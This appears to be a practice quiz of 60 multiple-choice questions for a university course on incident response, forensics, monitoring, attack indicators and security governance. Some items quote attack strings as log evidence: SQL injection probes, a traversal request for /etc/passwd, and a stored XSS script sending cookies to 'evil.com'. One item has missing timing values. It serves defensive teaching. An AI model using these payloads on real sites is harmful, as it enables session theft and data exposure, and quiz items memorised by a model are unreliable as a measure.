Unit 5: Incident Response, Monitoring, Malicious Activity, and Security Governance - Practice Quiz

CSC302 — Securing Computing Systems 60 Questions
0 Correct 0 Wrong 60 Left
0/60

1 What is the correct order of the first three phases in the incident response lifecycle (NIST model)?

Incident Response Easy
A. Eradication, Preparation, Detection
B. Preparation, Detection and Analysis, Containment
C. Containment, Preparation, Recovery
D. Detection, Recovery, Preparation

2 Which document outlines the roles, responsibilities, and procedures to follow during a security incident?

Incident Response Easy
A. Marketing roadmap
B. Incident Response Plan
C. Software license agreement
D. User manual

3 What is the main goal of the containment phase in incident response?

Incident Response Easy
A. Limit the spread and impact of the incident
B. Delete all system logs
C. Purchase new hardware
D. Notify customers immediately

4 In digital forensics, what term describes the documented history showing who handled evidence and when?

Digital Forensics Easy
A. Access control list
B. Service level agreement
C. Chain of custody
D. Data dictionary

5 Why do forensic investigators create a bit-for-bit copy (image) of a disk instead of working on the original?

Digital Forensics Easy
A. To reduce the file size
B. To preserve the original evidence intact
C. To make the disk run faster
D. To encrypt the data automatically

6 Which technique verifies that a forensic image has not been altered?

Digital Forensics Easy
A. Hashing
B. Formatting
C. Defragmentation
D. Compression

7 Which data source records events such as logons, failed access attempts, and system errors on a host?

Data Sources Easy
A. Screen savers
B. Desktop icons
C. Log files
D. Wallpaper settings

8 What does a packet capture (PCAP) file primarily contain?

Data Sources Easy
A. User password hashes only
B. Recorded network traffic
C. Installed application icons
D. Printer configuration

9 Which type of data captures metadata about network connections such as source, destination, and port?

Data Sources Easy
A. Clipboard data
B. Font data
C. Thumbnail data
D. Flow data (NetFlow)

10 What does the acronym SIEM stand for?

Alerting and Monitoring Tools Easy
A. Server Installation and Equipment Manager
B. Secure Internet Email Monitoring
C. Security Information and Event Management
D. System Integration and Error Management

11 Which tool is designed specifically to detect suspicious activity and raise an alert without blocking it?

Alerting and Monitoring Tools Easy
A. Word processor
B. Backup scheduler
C. Intrusion Detection System (IDS)
D. Spreadsheet application

12 A legitimate activity that a monitoring tool incorrectly flags as malicious is called a:

Alerting and Monitoring Tools Easy
A. Zero day
B. Baseline
C. False positive
D. True negative

13 Which of the following is a common indicator of a malware infection on a computer?

Malware Attack Indicators Easy
A. Longer battery life
B. Faster typing speed
C. A brighter monitor display
D. Unexpected high CPU usage and slowdowns

14 Which type of malware encrypts a victim's files and demands payment for the decryption key?

Malware Attack Indicators Easy
A. Ransomware
B. Hypervisor
C. Compiler
D. Firewall

15 A sudden flood of traffic that overwhelms a server and makes it unavailable indicates which attack?

Physical and Network Attack Indicators Easy
A. Routine update
B. Software patching
C. Denial-of-Service (DoS)
D. Data backup

16 Which of the following is an indicator of a possible physical security breach?

Physical and Network Attack Indicators Easy
A. A new email signature
B. A scheduled software update
C. A changed desktop wallpaper
D. A forced-open server room door

17 Repeated failed login attempts across many accounts in a short time most likely indicates which attack?

Application Attack Indicators Easy
A. Brute-force / password attack
B. Routine audit
C. Scheduled backup
D. DNS caching

18 Which attack inserts malicious SQL statements into an application input field to access a database?

Application Attack Indicators Easy
A. SQL injection
B. Phishing
C. Shoulder surfing
D. Tailgating

19 Which document provides a high-level statement of management intent and expectations?

Policies Standards and Procedures Easy
A. Packet
B. Payload
C. Firmware
D. Policy

20 What is the primary purpose of a formal change management process?

Change Management Easy
A. Review and approve changes to reduce risk
B. Avoid documenting any changes
C. Give all users admin rights
D. Increase the number of random changes

21 During a ransomware outbreak, a responder isolates infected hosts from the network but keeps them powered on. Which incident response phase does this action primarily belong to, and why keep systems powered on?

Incident Response Medium
A. Preparation, to establish tooling before an incident occurs
B. Recovery, to restore the host to a known-good operational state
C. Eradication, to remove the malware before it reactivates on reboot
D. Containment, to preserve volatile memory evidence while stopping spread

22 An analyst must collect evidence from a live system. Following the order of volatility, which data source should be captured first?

Digital Forensics Medium
A. CPU registers and cache contents
B. Routing tables and ARP cache
C. Contents of files on the hard disk
D. Archived backups on remote storage

23 Before analyzing a seized hard drive, an investigator creates a bit-for-bit copy and records a SHA-256 hash of both the original and the copy. What is the primary purpose of recording these hashes?

Digital Forensics Medium
A. To prove the image was not altered and verify integrity
B. To speed up searching for malware within the image
C. To compress the image and reduce storage requirements
D. To encrypt the evidence so attackers cannot read it

24 An investigator wants to determine which user account authenticated to a Windows server and at what time. Which data source is the most direct source of this information?

Data Sources Medium
A. Firewall packet capture files
B. DNS resolver query cache
C. Security event logs on the server
D. Antivirus quarantine folder

25 A SOC analyst needs to correlate network flow volume between two hosts without inspecting packet payloads. Which data source best fits this need?

Data Sources Medium
A. NetFlow records
B. File integrity reports
C. Full packet capture
D. Application debug logs

26 A security team is overwhelmed by alerts, many of which are false positives. Which SIEM tuning action most directly reduces alert fatigue without losing visibility?

Alerting and Monitoring Tools Medium
A. Increasing the log retention period for all sources
B. Refining correlation rules and thresholds to suppress known benign patterns
C. Disabling all log ingestion from endpoint agents
D. Routing every alert directly to the executive dashboard

27 An organization deploys an agent that monitors endpoints for suspicious behavior, records telemetry, and can automatically isolate a host. Which tool category does this best describe?

Alerting and Monitoring Tools Medium
A. WAF (Web Application Firewall)
B. EDR (Endpoint Detection and Response)
C. NAC (Network Access Control)
D. DLP (Data Loss Prevention)

28 A workstation shows outbound connections to an unknown IP at precise 60-second intervals, each transmitting a small, consistent payload. Which malware behavior does this pattern most strongly indicate?

Malware Attack Indicators Medium
A. Local disk defragmentation activity
B. Command-and-control beaconing
C. Normal NTP time synchronization
D. A legitimate software update check

29 Users report that their files have been renamed with a strange extension and a text file demands payment in cryptocurrency. Which malware type is indicated?

Malware Attack Indicators Medium
A. Ransomware
B. Adware
C. Keylogger
D. Rootkit

30 An administrator notices that antivirus and task manager processes are being silently terminated and some system files are hidden from directory listings. Which malware characteristic best explains this?

Malware Attack Indicators Medium
A. A logic bomb waiting for a trigger date
B. A rootkit concealing its presence and disabling defenses
C. A worm consuming network bandwidth
D. Spyware exfiltrating browser history

31 Network monitoring shows a single host sending ARP replies claiming to be the default gateway's IP with its own MAC address. Which attack does this indicate?

Physical and Network Attack Indicators Medium
A. A DNS amplification reflection attack
B. A brute-force attack against SSH
C. ARP poisoning (spoofing) for a man-in-the-middle position
D. A SYN flood exhausting server resources

32 A server's logs show a sudden flood of half-open connections where the handshake never completes, exhausting its connection table. Which attack is indicated?

Physical and Network Attack Indicators Medium
A. Credential stuffing
B. On-path TLS downgrade
C. SYN flood denial-of-service
D. DNS cache poisoning

33 A data center badge system logs one employee's badge swipe at the entrance, immediately followed by two people entering together on camera. Which physical attack indicator does this suggest?

Physical and Network Attack Indicators Medium
A. Shimming of a card reader
B. Tailgating into a restricted area
C. Shoulder surfing of credentials
D. Dumpster diving for discarded media

34 A web server log contains the request GET /product?id=1' OR '1'='1. Which application attack is being attempted?

Application Attack Indicators Medium
A. Directory traversal
B. Cross-site scripting (XSS)
C. Server-side request forgery
D. SQL injection

35 An application log shows repeated requests like GET /../../../../etc/passwd. Which attack does this indicate?

Application Attack Indicators Medium
A. Directory (path) traversal
B. Buffer overflow
C. Cross-site request forgery
D. Session hijacking

36 A comment field submission containing <script>document.location='http://evil.com/?c='+document.cookie</script> gets stored and later runs in other users' browsers. Which attack type is this?

Application Attack Indicators Medium
A. DNS rebinding
B. Reflected SQL injection
C. Clickjacking
D. Stored cross-site scripting (XSS)

37 An organization document states: "All passwords must be at least 14 characters." Which type of governance document is this statement best classified as?

Policies Standards and Procedures Medium
A. A guideline
B. A procedure
C. A standard
D. A high-level policy

38 A new hire must sign a document agreeing to use company systems only for authorized purposes before gaining network access. Which document is this?

Policies Standards and Procedures Medium
A. Acceptable Use Policy (AUP)
B. Memorandum of Understanding (MOU)
C. Business Impact Analysis (BIA)
D. Service Level Agreement (SLA)

39 An administrator wants to apply a firmware update to a core router during business hours without any documented approval. According to change management best practice, what should happen first?

Change Management Medium
A. Apply the update immediately since firmware fixes are always urgent
B. Skip documentation because the change is reversible
C. Email colleagues informally and proceed if no one objects quickly
D. Submit a change request for review and approval, including a backout plan

40 A security team configures a SOAR platform so that when a phishing email is reported, the system automatically extracts URLs, checks them against threat intelligence, and quarantines matching messages across all mailboxes. Which benefit does this BEST illustrate?

Automation and Orchestration Medium
A. Elimination of the need for any human analysts
B. Guaranteed prevention of all future phishing
C. Reduced requirement to retain any logs
D. Faster, consistent response through automated playbooks

41 During the containment phase of an incident involving a compromised domain controller, an analyst must choose between isolating the host immediately or allowing it to continue running under monitoring. Which factor most strongly justifies choosing continued monitoring over immediate isolation?

Incident Response Hard
A. The need to preserve volatile memory and observe attacker command-and-control behavior to scope the full intrusion
B. The organization's desire to avoid any downtime regardless of risk
C. The fact that the domain controller stores no sensitive data
D. The requirement to immediately restore from the most recent backup

42 An investigator must acquire evidence from a live system suspected of a memory-resident (fileless) malware infection. Following the order of volatility, which acquisition sequence is correct?

Digital Forensics Hard
A. RAM → disk → CPU registers → archival media → network state
B. Disk → RAM → CPU cache → network state → archival media
C. CPU registers/cache → RAM → network state → disk → archival media
D. Archival media → disk → RAM → network state → CPU cache

43 After imaging a drive, an analyst computes an MD5 hash of the original and the copy and they match. Opposing counsel challenges the use of MD5. What is the strongest technically valid response to preserve evidentiary integrity?

Digital Forensics Hard
A. Argue that MD5 collisions are irrelevant because the images are identical in size
B. Provide a corroborating SHA-256 hash of both images and document the chain of custody showing no tampering
C. State that MD5 is still cryptographically secure for forensic use
D. Re-image the drive using a different tool and compare file counts

44 A SOC is correlating events across time zones. A firewall logs in local time (UTC-5, no DST notation), while the SIEM normalizes to UTC. An authentication server logs in UTC+1. Why is enforcing a single time source via NTP critical to this investigation?

Data Sources Hard
A. Without synchronized, normalized timestamps, event correlation and causal ordering across sources become unreliable
B. NTP guarantees that logs cannot be deleted by an attacker
C. NTP compresses log volume to reduce SIEM storage costs
D. NTP encrypts the logs so attackers cannot modify timestamps

45 A SIEM rule triggers on more than 5 failed logins in 60 seconds. Attackers evade it by spacing attempts at one every 15 seconds across many accounts. Which detection strategy best counters this low-and-slow password spraying?

Alerting and Monitoring Tools Hard
A. Alert only on successful logins following any failure
B. Aggregate failed authentications per source IP across all accounts over a longer sliding window
C. Disable the rule and rely on endpoint antivirus
D. Lower the threshold to 2 failed logins per 60 seconds per account

46 An endpoint shows: powershell.exe spawned by winword.exe, outbound TLS to a newly registered domain, and a scheduled task created under the user profile. Which classification best fits this chain of indicators?

Malware Attack Indicators Hard
A. A hardware fault causing abnormal process behavior
B. A macro-based initial access leading to persistence and C2 establishment
C. A legitimate software update process
D. A denial-of-service attack against the endpoint

47 An analyst observes a process consuming high CPU, generating connections to a mining pool over port 3333, and no file encryption or ransom note. Despite no data loss, why is this still a serious incident?

Malware Attack Indicators Hard
A. It indicates a cryptojacking compromise, confirming unauthorized code execution and a foothold for further attack
B. It is benign because mining does not destroy data
C. It is a false positive since port 3333 is a standard web port
D. It is only a performance issue requiring more RAM

48 Network monitoring shows a host suddenly receiving traffic destined for other hosts, and the switch's CAM table is unusually full of unknown MAC addresses. Which attack is most consistent with these indicators?

Physical and Network Attack Indicators Hard
A. A legitimate VLAN reconfiguration
B. A DNS amplification attack targeting the switch
C. MAC flooding forcing the switch into fail-open (hub-like) behavior to enable sniffing
D. An ARP cache that has simply expired normally

49 A security team notices gradual signal degradation on a wireless network, with legitimate clients repeatedly disconnecting and a flood of 802.11 deauthentication frames. Which conclusion is best supported?

Physical and Network Attack Indicators Hard
A. The access point firmware is simply outdated
B. A DHCP exhaustion attack is depleting the IP pool
C. A deauthentication/jamming attack is being used, possibly to force clients onto a rogue AP
D. Clients are experiencing normal roaming between APs

50 Web server logs show requests like /product?id=1 AND 1=1 returning normal pages but /product?id=1 AND 1=2 returning errors or empty results. What does this differential response pattern indicate?

Application Attack Indicators Hard
A. A boolean-based blind SQL injection probe inferring data from true/false responses
B. A cross-site scripting payload being reflected
C. A standard caching misconfiguration
D. A directory traversal attempt against the file system

51 An application log shows many requests to /api/users/1, /api/users/2, /api/users/3 from a single authenticated low-privilege session, each returning other users' private data. Which vulnerability is being exploited?

Application Attack Indicators Hard
A. Cross-Site Request Forgery (CSRF)
B. Server-Side Request Forgery (SSRF)
C. Insecure Direct Object Reference (IDOR) / broken object-level authorization
D. SQL injection via the user ID parameter

52 A login page returns in roughly ms for invalid usernames but roughly ms for valid usernames with wrong passwords. What is the security implication of this timing difference?

Application Attack Indicators Hard
A. The server is simply under heavy load for certain accounts
B. It confirms the password hashing is too weak
C. It indicates a race condition in session creation
D. A timing side channel enables username enumeration despite a generic error message

53 An auditor finds that an organization has a high-level directive stating "data must be protected," but engineers disagree on required key lengths. Which document type is missing and would resolve this gap?

Policies Standards and Procedures Hard
A. An optional guideline suggesting best practices
B. A standard specifying mandatory, measurable technical requirements such as minimum key length
C. Another high-level policy restating the intent
D. An AUP governing employee internet use

54 A company must demonstrate to customers that its SaaS controls operate effectively over a 12-month period. Which attestation is most appropriate to request from an independent auditor?

Policies Standards and Procedures Hard
A. A self-signed internal control memo
B. SOC 1 Type I report
C. SOC 2 Type II report
D. SOC 2 Type I report

55 A critical zero-day patch must be deployed within hours, but the normal change advisory board (CAB) meets weekly. Which change management mechanism correctly balances urgency with governance?

Change Management Hard
A. Deploying immediately with no record, since it is an emergency
B. Waiting for the next scheduled CAB meeting to maintain process integrity
C. An emergency change process with expedited approval and retroactive CAB review documentation
D. Reclassifying the patch as a standard pre-approved change to skip review

56 During a change implementation, a key concern is the ability to return systems to their prior working state if the deployment fails. Which element of a change plan directly addresses this, and why is it tested beforehand?

Change Management Hard
A. The maintenance window, tested to confirm user availability
B. The impact analysis, tested to estimate affected users
C. The approval workflow, tested to confirm sign-offs
D. The backout/rollback plan, tested so recovery is proven feasible before the change window closes

57 A SOC implements a SOAR playbook that automatically isolates any endpoint flagged by EDR as malicious. After a false-positive signature update, dozens of production servers are quarantined. What design principle would best prevent recurrence?

Automation and Orchestration Hard
A. Increase the EDR sensitivity to catch more threats
B. Add a human-in-the-loop approval gate for high-impact automated actions on critical assets
C. Run the playbook only during business hours
D. Remove all automation and perform isolation manually

58 An organization automates user onboarding/offboarding through orchestration tied to its HR system. A terminated employee retains access for days. Investigation shows the HR status change was never pushed to the orchestration engine. What is the root cause category?

Automation and Orchestration Hard
A. An expired TLS certificate on the SIEM
B. A broken integration/trigger between the authoritative source and the orchestration workflow
C. A flaw in the EDR agent on the user's laptop
D. Insufficient password complexity on the account

59 Post-incident, a team wants to measure how long attackers remained undetected inside the network. Which metric captures this, and how is it derived?

Incident Response Hard
A. Mean time to respond: the interval from detection to containment
B. Mean time between failures: the average uptime between incidents
C. Recovery time objective: the maximum tolerable downtime
D. Dwell time: the interval from initial compromise to detection

60 An investigator needs to prove which specific process opened an outbound connection, but only has NetFlow data and firewall logs. Why is this evidence insufficient, and what data source resolves it?

Data Sources Hard
A. Flow/firewall data shows connections but not process attribution; endpoint/host telemetry (EDR process logs) links the connection to a process
B. Only packet captures can identify the destination IP
C. DNS logs alone identify the responsible process
D. NetFlow already includes full process names, so the data is sufficient